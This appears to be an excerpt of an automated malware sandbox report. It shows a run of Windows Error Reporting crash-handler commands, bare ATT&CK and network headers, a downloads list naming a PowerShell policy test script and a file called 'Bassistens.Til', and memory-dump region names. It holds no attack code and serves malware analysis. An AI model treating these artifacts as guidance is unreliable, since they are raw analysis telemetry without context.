C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4440 -ip 44401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3908 -ip 39081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4420 -ip 44201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5084 -ip 50841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4444 -ip 44441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 452 -ip 4521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4924 -ip 49241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2064 -ip 20641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4332 -ip 43321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3120 -ip 31201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1832 -ip 18321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3128 -ip 31281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2904 -ip 29041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3872 -ip 38721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4928 -ip 49281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1624 -ip 16241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3616 -ip 36161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4812 -ip 48121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2756 -ip 27561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 624 -ip 6241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 892 -ip 8921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 976 -ip 9761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1700 -ip 17001⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1616 -ip 16161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3156 -ip 31561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4484 -ip 44841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4412 -ip 44121⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_shf5zc01.yry.ps1
Bassistens.Til
memory/232-10-0x000001F44E6B0000-0x000001F44E6D2000-memory.dmp
memory/232-11-0x00007FFE83650000-0x00007FFE84111000-memory.dmp
memory/232-12-0x00007FFE83650000-0x00007FFE84111000-memory.dmp
memory/232-44-0x00007FFE83650000-0x00007FFE84111000-memory.dmp
memory/232-43-0x000001F44E760000-0x000001F44E97C000-memory.dmp
memory/232-0-0x00007FFE83653000-0x00007FFE83655000-memory.dmp
memory/232-39-0x000001F44E760000-0x000001F44E97C000-memory.dmp
memory/1320-17-0x0000000005110000-0x0000000005132000-memory.dmp
memory/1320-18-0x0000000005900000-0x0000000005966000-memory.dmp
memory/1320-30-0x0000000005FD0000-0x0000000005FEE000-memory.dmp
memory/1320-31-0x0000000006020000-0x000000000606C000-memory.dmp
memory/1320-33-0x0000000006560000-0x000000000657A000-memory.dmp
memory/1320-32-0x0000000007870000-0x0000000007EEA000-memory.dmp
memory/1320-35-0x0000000007220000-0x0000000007242000-memory.dmp
memory/1320-36-0x00000000084A0000-0x0000000008A44000-memory.dmp
memory/1320-34-0x0000000007290000-0x0000000007326000-memory.dmp
memory/1320-19-0x0000000005970000-0x00000000059D6000-memory.dmp
memory/1320-38-0x0000000008A50000-0x0000000009474000-memory.dmp
memory/1320-29-0x0000000005AE0000-0x0000000005E34000-memory.dmp
memory/1320-16-0x00000000051E0000-0x0000000005808000-memory.dmp
memory/1320-15-0x0000000004A10000-0x0000000004A46000-memory.dmp
memory/1396-48-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2764-40-0x0000000001F30000-0x0000000002954000-memory.dmp
memory/2764-86-0x000000001F910000-0x000000001F929000-memory.dmp
memory/2764-85-0x000000001F910000-0x000000001F929000-memory.dmp
memory/2764-82-0x000000001F910000-0x000000001F929000-memory.dmp
memory/4304-47-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4440-46-0x0000000000400000-0x0000000000478000-memory.dmp